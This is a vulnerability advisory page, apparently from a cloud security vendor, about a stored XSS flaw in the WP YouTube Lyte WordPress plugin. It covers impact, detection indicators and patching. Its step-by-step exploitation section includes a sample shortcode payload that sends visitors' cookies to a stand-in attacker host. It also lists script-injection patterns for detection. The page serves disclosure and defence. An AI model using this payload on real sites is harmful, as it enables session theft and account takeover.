CVE-2026-3299: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-3299 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP YouTube Lyte plugin for WordPress, affecting all versions up to and including 1.7.29. The flaw arises from insufficient input sanitization and output escaping on user-supplied attributes within the plugin's lyte shortcode. It was published on April 16, 2026, with a patch available via the WordPress plugin repository. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (GitHub Advisory, Wordfence).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the plugin fails to properly sanitize or escape attributes passed to the lyte shortcode before rendering them in page output. An authenticated attacker with at least contributor-level WordPress access can craft a malicious shortcode containing arbitrary JavaScript and embed it in a post or page. Because the injected script is stored server-side, it executes in the browser of any user who subsequently visits the affected page — no user interaction from the victim is required beyond simply loading the page (GitHub Advisory, Wordfence).

Impact

Successful exploitation allows an authenticated contributor (or higher-privileged user) to persistently inject malicious scripts that execute in the context of any visitor's browser session. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, page defacement, or redirection to malicious sites. In multi-user WordPress environments — such as news sites, blogs, or membership platforms — the risk is amplified because a low-privileged contributor account is sufficient to compromise all site visitors (GitHub Advisory, Wordfence).

Exploitability

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.01% (2nd percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits opportunistic mass exploitation but remains a meaningful risk in environments with open contributor registration (GitHub Advisory, Wordfence).

Exploitation steps

  1. Gain contributor access: Register or compromise a WordPress account with at least contributor-level privileges on a site running WP YouTube Lyte ≤ 1.7.29.
  2. Create or edit a post: Navigate to the WordPress post editor and create a new post or edit an existing one that contributors are permitted to modify.
  3. Inject malicious shortcode: Insert a lyte shortcode with a crafted attribute containing a JavaScript payload, for example: [lyte id="<script>document.location='https://attacker.com/steal?c='+document.cookie</script>"].
  4. Publish the post: Submit or update the post so the malicious shortcode is stored in the WordPress database.
  5. Trigger execution: When any user (including administrators) visits the page containing the injected shortcode, the unsanitized attribute is rendered into the HTML output and the malicious script executes in their browser, enabling session hijacking or other client-side attacks (GitHub Advisory, Wordfence).

Indicators of compromise

  • Logs: WordPress database or audit logs showing posts/pages containing [lyte shortcodes with unusual attribute values, particularly those including <script>, javascript:, onerror=, onload=, or encoded variants thereof.
  • File System: No direct file system artifacts expected for a stored XSS attack; however, review the wp_posts table in the WordPress database for suspicious shortcode content.
  • Network: Outbound requests from victim browsers to unexpected external domains shortly after visiting pages containing the lyte shortcode; monitor web server access logs for referrer patterns indicating script-injected redirects.
  • Process/Behavior: Unexpected admin account creation or privilege escalation events in WordPress logs following user visits to affected pages, which may indicate session hijacking via stolen cookies.

Mitigation and workarounds

Users should update the WP YouTube Lyte plugin to a version newer than 1.7.29, which includes the fix applied in changeset 3482595 of the WordPress plugin repository (WordPress Changeset). If immediate patching is not possible, site administrators should temporarily deactivate the plugin and restrict contributor-level access to only fully trusted users. Administrators should also audit all existing posts and pages using the lyte shortcode for signs of injected malicious content (GitHub Advisory, Wordfence).

Community reactions

Wordfence disclosed and reported the vulnerability, publishing it in their threat intelligence database and including it in their weekly WordPress vulnerability report for April 13–19, 2026 (Wordfence Weekly Report). The vulnerability received standard coverage from automated CVE tracking services and the ENISA European Vulnerability Database (EUVD-2026-23139), but no notable independent researcher commentary or significant social media discussion has been observed beyond routine CVE announcement posts.

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-127048CRITICAL9.8
  • lazy-blocks
NoYesNov 15, 2026
CVE-2026-82663HIGH7.5
  • give-peer-to-peer
NoYesNov 15, 2026
CVE-2026-82568HIGH7.5
  • give-peer-to-peer
NoYesNov 15, 2026
CVE-2026-124671MEDIUM4.3
  • burst-statistics
NoYesNov 15, 2026
CVE-2026-124673LOW3.7
  • burst-statistics
NoYesNov 15, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management